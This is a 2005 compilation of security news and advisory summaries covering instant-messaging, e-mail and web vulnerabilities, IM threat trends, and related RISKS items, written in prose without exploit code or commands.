TRILLIAN PNG IMAGE FILE PROCESSING BUFFER OVERFLOW VULNERABILITY

A critical vulnerability was reported in Trillian, which may be exploited by attackers to execute arbitrary commands. The problem occurs when processing specially crafted PNG image files and could be exploited by a attackers to compromise a vulnerable system. There is no solution at this time.

Category 23.5 E-mail & instant messaging or chat
2005-03-10 **secure instant messaging IM companies businesses meet privacy concern unauthorized use detection**

DHS IAIP Daily;
<http://www.computerworld.com/softwaretopics/software/groupware/story/0,10801,100298,00.html>

COMPANIES TURN TO SECURE INSTANT MESSAGING TO MEET PRIVACY CONCERNS

With the use of instant messaging (IM) on an upswing, companies concerned about security, regulatory and privacy issues are sometimes turning to secure IM solutions that allow only authorized users access to IM – while stopping others from sending instant messages. Available software provides businesses with control and administration of all IM activity by their workers, including dynamic detection and routing of IM use on the network, and prevention of unauthorized IM usage. Lawrence Orans, an analyst at Gartner Inc., said IM technology tools can now increase security because they allow businesses to set policies on permitted IM usage. While some companies do little to monitor their employees' IM use, the potential for viruses and network attacks will make it more important that they pay attention to potential problems, he said. "It will increasingly become risky to look the other way," Orans said. Another analyst, Robert Mahowald at IDC Inc., warned that there are still pitfalls to instant messaging, even with the use of secure applications. "You've significantly increased your chances of blocking [viruses and other problems] by having a secure IM solution in place," Mahowald said. "But it doesn't completely solve the problem."

Category 23.5 E-mail & instant messaging or chat
2005-03-16 **PHPOpenChat file inclusion vulnerability system compromise no update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14600/>

PHPOOPENCHAT "SOURCEDIR" FILE INCLUSION VULNERABILITY

A vulnerability in PHPOpenChat was reported, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "sourcedir" parameter in "contrib/yabbse/poc.php" is not properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Successful exploitation requires that "register_globals" is enabled. There is no solution at this time.

Category 23.5 E-mail & instant messaging or chat
2005-03-22 **instant messaging IM threat hacker spread malicious code research**

DHS IAIP Daily; <http://www.vnunet.com/news/1162084>

HACKERS INCREASINGLY SPREADING MALICIOUS CODE VIA INSTANT MESSAGING.

Attacks using instant messaging (IM) as an unprotected backdoor in enterprises are reaching epidemic proportions, industry experts have warned. Analyst firm IDC Research said that the problem is leading to a sharp hike in highly sophisticated IM attacks that spread malicious code and worms directly into organizations without any end-user intervention. "Hackers and virus writers have realized that the next vulnerable area for attack within an organization is to spread malicious code via IM," said Brian Burke, research manager for security products at IDC. Hackers are increasingly using IM as a vector for phishing scams and for so-called 'pharming' attacks, malicious redirects where thousands of IM users are persuaded to click on a link to a bogus, malware-infected Website. According to security firm Websense, incidents involving hackers using IM soared by 300 percent during the first quarter of 2005, compared with the fourth quarter of 2004. "Social engineering and vulnerabilities within IM client technologies are being used to gain access to hosts," said Dan Hubbard, senior director of security and technology research at Websense.

Category 23.5 E-mail & instant messaging or chat
2005-03-29 **Smail-3 mail from buffer overflow signal handling vulnerabilities design errors code execution attack no update issued**

DHS IAIP Daily; <http://seunia.com/advisories/14733/>

SMAIL-3 "MAIL FROM" BUFFER OVERFLOW AND SIGNAL HANDLING VULNERABILITIES.

Some vulnerabilities in Smail-3, which potentially can be exploited by malicious, local users to gain escalated privileges and by malicious people to compromise a vulnerable system. A boundary error within the SMTP server when handling email addresses can be exploited to cause a heap-based buffer overflow by passing an overly long string to the "MAIL FROM" command. Some design errors exist within the signal handling code. This may potentially be exploited by malicious, local users to execute arbitrary code with escalated privileges. There is no solution at this time.

Category 23.5 E-mail & instant messaging or chat
2005-04-05 **instant messaging IM chat security threat rise IMLogic industry consortium virus worm spam phishing attacks**

DHS IAIP Daily;
http://news.com.com/IM+threats+rise+sharply%2C+report+confir.ms/2100-7349_3-5655267.html

INSTANT MESSAGING THREATS RISING SHARPLY, REPORTS CONFIRM

According to a report issued Tuesday, April 5, by the IMlogic Threat Center – an industry consortium led by security software maker IMlogic – the quantity of instant messaging (IM) threats increased 250 percent in the first quarter of 2005, compared with the same period last year. The research, which tracks viruses, worms, spam and phishing attacks sent over public IM networks, also contends that reported incidents of newly discovered IM threats have grown by 271 percent this year. In addition, the study found that more than 50 percent of the incidents reported to the Threat Center during the first quarter of 2005 involved attacks at workplaces where freely available IM software such as AOL Instant Messenger, MSN Messenger, Windows Messenger, and Yahoo Messenger is used. Based on that data, the consortium advises that companies take a closer look at managing IM security issues. Report: http://imlogic.com/news/press_107.asp

Category 23.5 E-mail & instant messaging or chat
2005-04-19 **virus writing focus e-mail instant messaging IM shift automatic spread MSN Messenger Visual Basic VB programming language**

DHS IAIP Daily; <http://www.vnunet.com/news/1162557>

REPORT SAYS VIRUS WRITERS TURNING FROM E-MAIL TO IM

Email worms are falling out of favor with the hacking community, according to a report investigating malicious Internet activity. Instead malware authors are increasingly subverting vulnerable instant messenger (IM) systems and using network viruses that do not require user interaction to spread. Other threats identified include botnets and increasingly intrusive adware. The report, “Malware Evolution, January-March 2005,” from security firm Kaspersky Labs notes that viruses for IM systems started to appear late last year but are only now appearing in volume. Seven out of every eight IM worms attack Microsoft’s MSN Messenger service. “Improved antivirus technologies, and increased user awareness of security issues are clearly forcing virus writers and hackers to use new approaches to access users’ information and systems,” said Alexander Gostev, senior virus analyst at Kaspersky Labs. The study identifies 40 individual IM worms in the first quarter of the year, the majority written in one of the simplest computer languages, Visual Basic (VB). It noted that use of this language indicates the authors are relatively unsophisticated coders, since VB is not widely used by experts because it is so slow to run. Report:
<http://www.viruslist.com/en/analysis?pubid=162454316>

Category 23.5 E-mail & instant messaging or chat
2005-05-03 **NetWin Dmail Server vulnerabilities no update issued**

DHS IAIP Daily; <http://www.security.org.sg/vuln/dmail31a.html>

NETWIN DMAIL SERVER HAS TWO VULNERABILITIES.

NetWin DMail is a scalable mail server that can either be used as a small personal mail server or as an ISP mail system. An authentication bypass vulnerability was found in DMail’s mailing list server (dlist.exe). This vulnerability may be remotely exploited to view logs generated by the mailing list server (dlist.exe) or to shut it down. The second is a format string vulnerability that exists in the admin commands of dsmtp.exe. The vendor has been informed of these vulnerabilities but no solution is currently available.

Category 23.5 E-mail & instant messaging or chat
2005-05-11 **Gaim instant messaging IM software MSN protocol bug flaw denial of service DoS**
DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/May/1013942.html>
GAIM BUGS IN PROCESSING MSN MESSAGES AND CERTAIN URLs LET REMOTE USERS DENY SERVICE

Two vulnerabilities were reported in Gaim in the processing of MSN messages and certain URLs. A remote user can cause the application to crash. A remote user can send an instant message containing a specially crafted URL that will cause a buffer overflow. Jabber and SILC protocols are affected. Other protocols may also be affected. A remote user can send a specially crafted MSN message to trigger a pointer error and cause the client to crash. The vendor has issued a fixed version (1.3.0), available at: <http://gaim.sourceforge.net/downloads.php>

Category 23.5 E-mail & instant messaging or chat
2005-08-04 **instant messaging IM threat trend multiple network attack**
DHS IAIP Daily; <http://www.techweb.com/wire/security/167101004>
NEW TREND FOUND IN IM ENTERPRISE THREATS

Nearly a quarter more new viruses threatening corporate computers through employee use of public instant-messaging networks were discovered last month, including one that reflected a new trend of attacking multiple IM systems, a security firm said. A total of 42 new threats were tracked in July, a 24 percent increase over the previous month, San Diego-based Akonix Systems said. July had the second highest number of new threats seen by Akonix since the beginning of the year. The highest was in April, when 48 were found. Five new viruses were discovered in July, including Rants, Prex, Kirvo, Hagbard and Lamar. The Akonix Security Center also found new variants of previous malware, including Kelvir, Bropia, Opanki and Oscabot. Of particular concern was the Rants virus, which was found on two different IM networks, David Jaros, director of product marketing for Akonix, said. In April, Akonix started seeing the same virus written for separate networks, such as AIM from America Online and Yahoo Messenger. Since then, the security firm has seen several multi-network viruses. "The virus writers are no longer focusing on one network," Jaros said. "They're broadening the number of users as potential targets."

Category 23.5 E-mail & instant messaging or chat
2005-11-02 **instant messaging IM secure productive AOL MSN Yahoo merger**
DHS IAIP Daily; http://www.esecurityplanet.com/best_practices/article.php/3561171
SECURE AND PRODUCTIVE WORKPLACE INSTANT MESSAGING

With the possible merger of AOL's AIM, MSN Messenger and Yahoos Messenger there will approximately 275 million users communicating over the internet. This has led to a vital part of the workday for many individuals. One of the advantages is that instant messaging allows for inexpensive communication between individuals. In addition, more recently there is now have video conferencing or voice-chats with minimal fuss and no extra charges. There are some perceived disadvantages to using IM, which includes lost productivity. However, one way to deal with this is to provide appropriate training to employees about proper usage of IM and that it should be treated much like e-mail.

Category 23.5 E-mail & instant messaging or chat
2005-11-30 **instant messaging IM threats November 2005 skyrocket**
DHS IAIP Daily;
<http://www.messagingpipeline.com/news/174402978;jsessionid=XKU0HNGVXMREEQSNDCCKH0CJUMEKJVN>
INSTANT MESSAGING THREATS SKYROCKET IN NOVEMBER

Akonix Systems, the San Diego, CA, provider of instant messaging (IM) security systems, said that its Security Center team tracked 62 IM-based attacks in November, a 226-percent increase over last month. The most significant new finding was that viruses no longer discriminate against specific IM systems, and can have a far costlier impact in terms of potential damage. Akonix reported that 36 percent of the IM attacks hit more than one public network and 13 percent of the attacks had the capability to spread through all four major IM networks. The Akonix Security Center noted that 58 of the worms detected were variants of previous worms, while four new worms were introduced during November. "November marked the highest number of IM threats that we have ever seen to date, proving that hackers see this real-time communications medium as a wide-open security hole in corporate networks," said Don Montgomery, vice president of marketing at Akonix Systems, in a prepared statement.

23.6 Web-site infrastructure, general Web security issues

Category 23.6

Web-site infrastructure, general Web security issues

2005-01-03

**Microsoft Internet Explorer IE vulnerability download directory traversal attack
FTP file transfer protocol Windows XP SP2 not vulnerable**

DHS IAIP Daily; <http://secunia.com/advisories/13704/>

INTERNET EXPLORER FTP DOWNLOAD DIRECTORY TRAVERSAL

It has been reported that a vulnerability exists in Internet Explorer, which can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to an input validation error in the handling of FTP file transfers. This can be exploited by a malicious FTP server to create files in arbitrary locations via directory traversal attacks by tricking a user into downloading malicious files (e.g. by dragging or copying a file or folder). The vulnerability does not affect systems running Windows XP with SP2 installed.

Category 23.6

Web-site infrastructure, general Web security issues

2005-01-11

**Microsoft Internet Explorer IE vulnerabilities cross site scripting attack Windows
XP SP2 vulnerable no update issued**

DHS IAIP Daily; <http://secunia.com/advisories/12889/>

MICROSOFT INTERNET EXPLORER MULTIPLE VULNERABILITIES

Some vulnerabilities have been discovered in Internet Explorer, which can be exploited by malicious people to compromise a user's system, conduct cross-site/zone scripting and bypass a security feature in Microsoft Windows XP SP2. They do not require user interaction. The vulnerability was originally discussed as the Drag'n'Drop vulnerability back in October 2004. The new development only utilizes flaws in the HTML Help control. This has been confirmed on a fully patched system with Internet Explorer 6.0 and Microsoft Windows XP SP2. There is no solution at this time.

Category 23.6

Web-site infrastructure, general Web security issues

2005-01-11

Squid NTLM memory leak vulnerability segmentation fault update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jan/1012818.html>

SQUID NTLM FAKEAUTH_AUTH_HELPER

A vulnerability known as a memory leak has been reported in Squid in the NTLM fakeauth_auth helper. A remote user can trigger a segmentation fault. Under high load or when running for a long period of time, the application may run out of memory. In addition, a remote user can send a specially crafted NTLM type 3 message to cause a segmentation fault and can cause denial of service conditions. As a solution, apply the following patch: http://www.squid-cache.org/Versions/v2/2.5/bugs/squid-2.5.ST_ABLE7-fakeauth_auth.patch

Category 23.6

Web-site infrastructure, general Web security issues

2005-01-13

PHP-Nuke SQL injection vulnerability code execution source code edit

DHS IAIP Daily; <http://secunia.com/advisories/13824/>

PHP-NUKE SGALLERY MODULE FILE INCLUSION AND SQL INJECTION

Two vulnerabilities in the Sgallery module for PHP-Nuke can be exploited by malicious people to compromise a vulnerable system and conduct SQL injection attacks. 1) Input passed to the "DOCUMENT_ROOT" parameter in "imageview.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. 2) Input passed to the "idalbum" and "idimage" parameters in "imageview.php" isn't properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The vulnerability has been reported in version 1.01. Other versions may also be affected. Users should edit the source code to ensure that input is properly sanitized.

Category 23.6 Web-site infrastructure, general Web security issues
2005-01-14 **ForumKIT input validation vulnerability remote user cross site scripting attack no update issued**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jan/1012895.html>

FORUMKIT INPUT VALIDATION HOLE LETS REMOTE USERS CONDUCT CROSS-SITE SCRIPTING ATTACKS

A vulnerability has been reported in forumKIT causing the 'f.aspx' script to improperly validate user-supplied input in the 'members' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the forumKIT software. As a result, the code will be able to access the target user's cookies (including authentication cookies) associated with the site, access data recently submitted by the target user via web form, or take actions on the site acting as the target user. No solution is available at this time.

Category 23.6 Web-site infrastructure, general Web security issues
2005-01-20 **JSBoard PHP Web software input validation flaw vulnerability information disclosure update issued**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Jan/1012949.html>

JSBOARD 'SESSION.PHP' INPUT VALIDATION FLAW DISCLOSES FILES TO REMOTE USERS

A remote user can view files on the target system with the privileges of the target web service. The 'session.php' script does not properly validate the user-supplied 'table' variable. If magic_quotes_gpc is set to 'off' in the 'php.ini' configuration file, then a remote user can supply a specially crafted URL to view files on the target system with the privileges of the target web service. The vendor has issued a fixed version (2.0.10), available at: <http://kldp.net/frs/download.php/1729/jsboard-2.0.10.tar.gz>

Category 23.6 Web-site infrastructure, general Web security issues
2005-02-07 **KDE Konqueror Internet Web browser International Domain Names IDN spoofing security vulnerability no update issued**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013098.html>

KDE KONQUEROR WEB BROWSER IDN SPOOFING SECURITY ISSUE

A vulnerability was reported in the processing of International Domain Names (IDNs). A remote user can spoof Websites, including secure Websites. The remote user can create a specially crafted URL that, when loaded by the target user, will cause the browser to display a spoofed URL in the status bar but load a Web page from a different Website with an IDN. If the destination site is running SSL and has a valid digital certificate, the browser will authenticate the site but display the spoofed URL as the authenticated URL. No solution is currently available.

Category 23.6 Web-site infrastructure, general Web security issues
2005-02-11 **Microsoft Internet Explorer IE multiple vulnerabilities code execution attack**

DHS IAIP Daily; <http://www.securityfocus.com/bid/12530/discussion/>

MICROSOFT INTERNET EXPLORER MULTIPLE VULNERABILITIES

Microsoft Internet Explorer is reported prone to multiple vulnerabilities. These issues may allow remote attackers to execute arbitrary script code, disclose sensitive information and execute files from the local system. These issues are reported to be addressed by MS05-014: <http://www.microsoft.com/technet/security/bulletin/MS05-014.mspx>

Category 23.6 Web-site infrastructure, general Web security issues
2005-02-18 **WebCalendar SQL injection vulnerability input validation error cookie**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0184>

WEBCALENDAR "WEBCALENDAR_SESSION" SQL INJECTION VULNERABILITY

An SQL injection vulnerability was reported in WebCalendar, which may be exploited by attackers to execute arbitrary SQL commands. This flaw exists due to an input validation error in "login" when used in cookies. Update to WebCalendar version 0.9.5: <http://www.k5n.us/webcalendar.php?topic=Download>

<i>Category</i>	<i>23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-02-18		design flaw automatic redirection denial of service DoS hotel Internet high-speed connection
RISKS		23
RSS READER REDIRECT RISKS		73

Monty Solomon discovered that RSS feeds are automatically rerouted to an active proxy server if there is a redirection of HTTP requests while the RSS reader is trying to locate its feeds. Unfortunately, this design feature meant that when he logged on in a hotel where there was a _temporary_ redirection to a registration page for the high-speed Internet connection, many of his RSS feeds were permanently redirected to the registration page with no provision for shifting them back. Turns out the switch occurred while the RSS reader was running on the laptop while it was connected to the network but before the user was able to register for normal usage.

Monty's recommendation: "At a minimum, the RSS reader should validate the feed at the redirected URI before blindly switching to it."

<i>Category</i>	<i>23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-02-24		Mozilla Firefox domain spoofing vulnerability Internationalized Domain Names IDN patch issued

DHS IAIP Daily; http://news.com.com/Firefox+fix+plugs+security+holes/2100-10_02_3-5589693.html

MOZILLA FIREFOX VULNERABILITIES PATCHED.

The Mozilla Foundation released on Thursday, February 24, an update to the Firefox Web browser to fix several vulnerabilities, including one that would allow domain spoofing. The open-source project released Firefox 1.0.1 to fix, among other bugs, a vulnerability in the Internationalized Domain Names (IDN), a standard for handling special character sets in domain names that lets companies register domain names that appear to be the same in different languages. The IDN vulnerability allowed an attacker to create a fake Website on a non-Microsoft browser in order to pull off a phishing scam. The update is available for Windows, Mac OS X and Linux at <http://www.mozilla.org>.

<i>Category</i>	<i>23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-03-11		man-in-the-middle attack SSL encryption decryption misrepresentation confidentiality data theft risk banking proxy servers vulnerability insider fraud

RISKS; <http://www.shellnofcu.com/site/scams.html> 23 79

MAN IN THE MIDDLE ATTACK ON SSL?

Russell Page had an interesting analysis of a technique potentially vulnerable to insider fraud:

Marketscore (www.marketscore.com) offer a free proxy service web users. They offer accelerated downloads and e-mail virus scanning. To use their service users download and install software onto their PCs. Marketscore are quite explicit that they collect a wide range of information about their subscribers, and make information available to web site owners on usage patterns - a sort of "Neilson" for the net.

Unfortunately, they also impersonate SSL sites. If a subscriber attempts to set up an SSL connection to say, her bank, the Marketscore proxy sends back its certificate, and then establishes an SSL connection to the destination. Clearly for this to work, the servers have to decrypt then re-encrypt all of the traffic. Equally clearly, large numbers of credit card numbers, account names, passwords etc are passing through the Marketscore systems in the clear.

<i>Category</i>	<i>23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-03-15		Apache Tomcat JSP Web server vulnerability remote denial of service DoS attack

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0262>

APACHE TOMCAT "AJP12" REMOTE DENIAL OF SERVICE VULNERABILITY

A new vulnerability was identified in Apache Tomcat, which may be exploited by attackers to conduct Denial of Service attacks. The flaw resides in the implementation of the AJP12 protocol and may allow a remote attacker who sends a specially crafted request, to cause Tomcat to stop processing requests. Update to Apache Tomcat 5.5.8:
http://jakarta.apache.org/site/downloads/downloads_tomcat-5.cgi

Category 23.6 Web-site infrastructure, general Web security issues
2005-03-23 **Mozilla Suite Firefox Thunderbird vulnerabilities code execution update issued**
DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0296>
MOZILLA SUITE/FIREFOX/THUNDERBIRD CODE EXECUTION VULNERABILITIES

Several vulnerabilities were identified in Mozilla Suite, Firefox and Thunderbird, which may be exploited by attackers to execute arbitrary commands or bypass certain security features. These vulnerabilities are due to a heap overrun error, an error in bookmarking a specially crafted page as a Firefox sidebar panel, and an error when handling specially crafted XUL files. Update to the most current version of the product: <http://www.mozilla.org>

Category 23.6 Web-site infrastructure, general Web security issues
2005-03-30 **E-Store Kit-2 PayPal Edition XSS and PHP file inclusion vulnerability file disclosure cross site scripting attack no update issued**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0298>
E-STORE KIT-2 PAYPAL EDITION XSS AND PHP FILE INCLUSION VULNERABILITY.

Two vulnerabilities were identified in E-Store Kit-2 PayPal Edition, which may be exploited by attackers to include arbitrary files or conduct Cross Site Scripting attacks. The first flaw resides in the "catalog.php" file, when handling specially crafted "main" and "menu" parameters, which may be exploited by a remote attacker to include arbitrary PHP files and execute commands with the privileges of the web server. The second vulnerability is due to an input validation error in the "downloadform.php" script when handling a specially crafted "txn_id" parameter, which may be exploited by attackers to cause arbitrary scripting code to be executed by the user's browser. There is no solution at this time.

Category 23.6 Web-site infrastructure, general Web security issues
2005-04-04 **Mozilla Firefox Suite information disclosure vulnerability JavaScript engine flaw no update issued**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0312>
MOZILLA FIREFOX/SUITE INFORMATION DISCLOSURE VULNERABILITY

A new vulnerability was identified in Mozilla Firefox/Suite, which may be exploited by attackers to disclose sensitive information. The browser's javascript implementation does not properly parse lambda list regular expressions. This flaw is due to an error in the JavaScript engine, which may be exploited by attackers to disclose arbitrary heap memory regions. There is no solution at this time.

Category 23.6 Web-site infrastructure, general Web security issues
2005-04-18 **Mozilla Firefox multiple vulnerabilities cross site scripting system compromise attack update issued**
DHS IAIP Daily; <http://secunia.com/advisories/14938/>
MOZILLA FIREFOX MULTIPLE VULNERABILITIES

Multiple vulnerabilities have been reported in Firefox, which can be exploited by malicious people to conduct cross-site scripting attacks, bypass certain security restrictions, and compromise a user's system. Update to version 1.0.3: <http://www.mozilla.org/products/firefox/>

Category 23.6 Web-site infrastructure, general Web security issues
2005-04-19 **Microsoft Windows Explorer preview pane vulnerability script injection attack unauthorized access no update issued**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13248/info/>
MICROSOFT WINDOWS EXPLORER PREVIEW PANE SCRIPT INJECTION VULNERABILITY

Microsoft Windows Explorer is prone to a script injection vulnerability. This occurs when the Windows Explorer preview pane is enabled on Windows 2000 computers. If a file with malicious attributes is selected using Explorer, script code contained in the attribute fields may be executed with the privilege level of the user that invoked Explorer. This could be exploited to gain unauthorized access to the vulnerable computer. No vendor solution is currently available.

<i>Category 23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-04-20	phpBB PHP bulletin board two vulnerabilities SQL injection path disclosure attacks no update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0372>

PHPBB-AUCTION SQL INJECTION AND PATH DISCLOSURE VULNERABILITIES

Two vulnerabilities were reported in phpBB-Auction, which may be exploited by attackers to execute arbitrary SQL commands or disclose the full web path. 1. The flaw is due to an SQL injection error in the "auction_rating.php" and "auction_offer.php" scripts when handling specially crafted "u" and "ar" parameters. 2. The vulnerability is due to an input validation error in the "auction_my auctions.php" script when handling a specially crafted "mode" parameter, which may be exploited to display the installation path. There is no solution at this time.

<i>Category 23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-04-22	Opera Secure Sockets Layer SSL certificate security feature design error vulnerability no update issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/13176/discussion/>

OPERA SSL SECURITY FEATURE DESIGN ERROR VULNERABILITY

Opera browser is prone to a design error that can result in a false sense of security. The source of the vulnerability is that the Organization Name of an SSL certificate is not intended to be unique. Since this field is not unique, it is not sufficient to use as a basis for the user to trust the authenticity of a Website. There is no solution at this time.

<i>Category 23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-05-02	GlobalScape file transfer protocol FTP server remove buffer overflow vulnerability command execution attack

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0441>

GLOBALSCAPE SECURE FTP SERVER REMOTE BUFFER OVERFLOW VULNERABILITY

A buffer overflow vulnerability was identified in GlobalScape Secure FTP Server, which could be exploited by remote attackers to execute arbitrary commands. The flaw occurs when handling specially crafted FTP commands, which could be exploited by a remote and authenticated attacker to compromise a vulnerable server. Upgrade to the latest version:
<http://www.cuteftp.com/support/srv.asp>

<i>Category 23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-05-06	Rivest Shamir Adleman RSA Security encryption Authentication Agent heap buffer overflow vulnerability code execution attack

DHS IAIP Daily; <http://www.securityfocus.com/bid/13524/discussion/>

RSA AUTHENTICATION AGENT FOR WEB REMOTE HEAP BUFFER OVERFLOW VULNERABILITY.

A remote heap-based buffer overflow vulnerability exists in RSA Authentication Agent for Web. This issue is due to a failure of the application to properly bounds check user-supplied input data prior to copying it into a fixed-sized heap buffer memory region. This vulnerability allows remote attackers to execute arbitrary machine code in the context of the vulnerable server application. This reportedly occurs with 'LocalSystem' privileges, allowing the attacker to gain complete control of the targeted computer. Versions 5.0, 5.2, and 5.3 of RSA Authentication Agent for Web are vulnerable to this issue. Users of affected packages are urged to contact the vendor for further information. Users with valid support contracts with the vendor may be able to locate fixes at: <https://knowledge.rsasecurity.com> There are currently no vendor-supplied patches for this issue.

<i>Category 23.6</i>	<i>Web-site infrastructure, general Web security issues</i>
2005-05-09	PHP Web scripting programming Advanced Transfer Manager

DHS IAIP Daily; <http://secunia.com/advisories/15279/>

PHP ADVANCED TRANSFER MANAGER FILE UPLOAD VULNERABILITY

A vulnerability has been reported in PHP Advanced Transfer Manager, which potentially can be exploited by malicious people to compromise a vulnerable system. A remote user can authenticate to the system, upload a PHP file with the '.ns' extension, and then have the Web server execute the file. The PHP code, including operating system commands, will run with the privileges of the target Web service. There is no solution at this time.

Category 23.6 *Web-site infrastructure, general Web security issues*
2005-05-10 **Microsoft Security Bulletin Internet Explorer Web View vulnerability Windows operating systems**

DHS IAIP Daily; <http://www.microsoft.com/technet/security/Bulletin/MS05-024.mspx>

VULNERABILITY IN WEB VIEW COULD ALLOW REMOTE CODE EXECUTION

A remote code execution vulnerability exists in the way that Web View in Windows Explorer handles certain HTML characters in preview fields. By persuading a user to preview a malicious file, an attacker could execute arbitrary code in the context of the logged on user. This vulnerability affects Microsoft Windows 2000, Windows 98, Windows 98 SE, and Windows ME. Updates available through Source link below.

Category 23.6 *Web-site infrastructure, general Web security issues*
2005-05-16 **Apache HTDigest command line buffer overflow vulnerability**

DHS IAIP Daily; <http://www.securityfocus.com/bid/13537/info/>

APACHE HTDIGEST REALM COMMAND LINE ARGUMENT BUFFER OVERFLOW VULNERABILITY

A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers. By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values. This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. See Source link for any vendor supplied solutions.

Category 23.6 *Web-site infrastructure, general Web security issues*
2005-05-17 **Pserv command execution information disclosure vulnerabilities no update issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0555>

PSERV COMMAND EXECUTION AND INFORMATION DISCLOSURE VULNERABILITIES

Multiple vulnerabilities were identified in PServ, which may be exploited by attackers to execute arbitrary commands or disclose sensitive information. The first issue is due to an input validation error when handling specially crafted HTTP requests containing directory traversal sequences, which may be exploited by a remote attacker to disclose the source code of cgi scripts or read arbitrary files outside of the webroot directory. The second flaw is due to a buffer overflow error when processing a specially crafted "completedPath" variable, which may be exploited by attackers to execute arbitrary commands with the privileges of the web server. There is no solution at this time.

Category 23.6 *Web-site infrastructure, general Web security issues*
2005-06-12 **efficiency denial of service performance Web site servers insecure old systems vehicle registration vulnerabilities criminal hackers**

Duluth News Tribune (URL dead)

MINNESOTA STATE WEB SITE BOGGED DOWN
ASSOCIATED PRESS

ST. PAUL - The delivery of thousands of driver's licenses and state identification cards was delayed recently and the state's vehicle registration Web site was suspended because of insecure Web pages and the limitations of an old computer system.

As the Department of Public Safety works to bring its vehicle registration site back online, the Star Tribune of Minneapolis learned that other state agency Web sites may be vulnerable to computer hackers, including the Department of Transportation, the Board of Accountancy and the Health Professionals Services Program...

[Extract contributed by Stephen Cobb]

Category 23.6 Web-site infrastructure, general Web security issues

2005-07-19

IDG fake cards Internet SurfControl PLC phishing personal

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/holes/story/0,10801,103326,00.html>

ATTACKERS TURNING TO FAKE ONLINE GREETING CARDS

According to Internet security vendor SurfControl PLC, attackers are increasingly using fake e-mail greeting cards as a way of getting malicious software installed on computers. In fact, the amount of malicious e-mail being disguised as e-mail greeting cards is up about 90% from last year and now makes up more than half of all malicious e-mail being sent, according to Paris Trudeau, a product marketing manager at SurfControl. The number of "phishing" attacks, in which users are tricked into entering personal information on fake Websites, is also on the rise. But increasingly, attackers are looking for ways to trick users into downloading software that can be used to take over a computer, turning it into a so-called zombie machine, she said. Often this can be done by sending an e-mail greeting that entices users to visit a maliciously encoded Web page, Trudeau said. Another trick is to mask an e-mail message so it appears to originate from the user's IT department.

<i>Category</i>	23.6	<i>Web-site infrastructure, general Web security issues</i>
2005-08-23		safety-critical system architecture software design engineering recommendations article overview

RISKS; <http://www.embedded.com//showArticle.jhtml?articleID=169600396>

24 05

ARCHITECTURE OF SAFETY-CRITICAL SYSTEMS

David Kalinsky published an excellent overview of the principles of designing and implementing safety-critical systems for the online journal Embedded.com. Here are some highlights:

"Safety-critical systems are embedded systems that could cause injury or loss of human life if they fail or encounter errors. Flight-control systems, automotive drive-by-wire, nuclear reactor management, or operating room heart/lung bypass machines naturally come to mind. But devices as common as the power windows in your car are also safety-critical, once you imagine a small child reaching out of the car window at a fast food drive-through to get another packet of ketchup and accidentally leaning on the control switch making the window shut on the child's arm, or worse.

Small system defects or situations can cascade into life-threatening failures very quickly...."

Key points discussed in the article:

* Safety vs. High availability: Some readers may be thinking "Hey, this is starting to sound an awful lot like high availability." But while there are a number of points of contact between safety-critical system design and high-availability system design, the objectives of the two are quite different and many of the design architectures they use are quite different.

* Step-by-step approach: As with any embedded system, design is preceded by a system requirements definition, covering physical and functional specification. For safety-critical systems, a thorough hazard analysis and risk analysis must also be done. Only then can architectural design get started.

* Detecting sensor errors: Correct sensor data are so crucial to safe operation that many systems use redundancy in their sensor data acquisition. Redundancy doesn't always mean sensor replication as shown in Figure 5 with two identical sensors. It could also mean functional redundancy, or the measurement of the same real-world value in two different ways. For example, patient respiration rate can be measured both by the expansion and contraction of the rib cage, and by measurement of expiratory CO₂ concentration.

* Shutdown systems: If a safety-critical system has an immediate safe state, as illustrated on the left side of Figure 2, a shutdown system can be used to terminate a hazardous situation as soon it detects it.

* Single channel with actuation monitoring: The idea of a shutdown system can also be applied on a smaller scale within a primary system itself, as shown in Figure 8. The ellipses represent major system activities, which could be implemented as software tasks or processes, either on separate processors or sharing a single processor, depending on the scale of the system. A basic primary system is structured by the simple design pattern of Input-Process-Output, shown here across the top of the figure as the sequence labeled "Data Acquisition," "Processing/Transformations," "Output/Control." To lower costs, the primary system and the sensor data integrity checking "shutdown" monitoring activity (at the lower left) are shown here as sharing the same input sensor(s).

* Dual-channel architectures: For safety-critical systems without an immediate safe state, dual-channel architectures can be used to allow a system to continue operation even when one of its channels has "fail stopped."

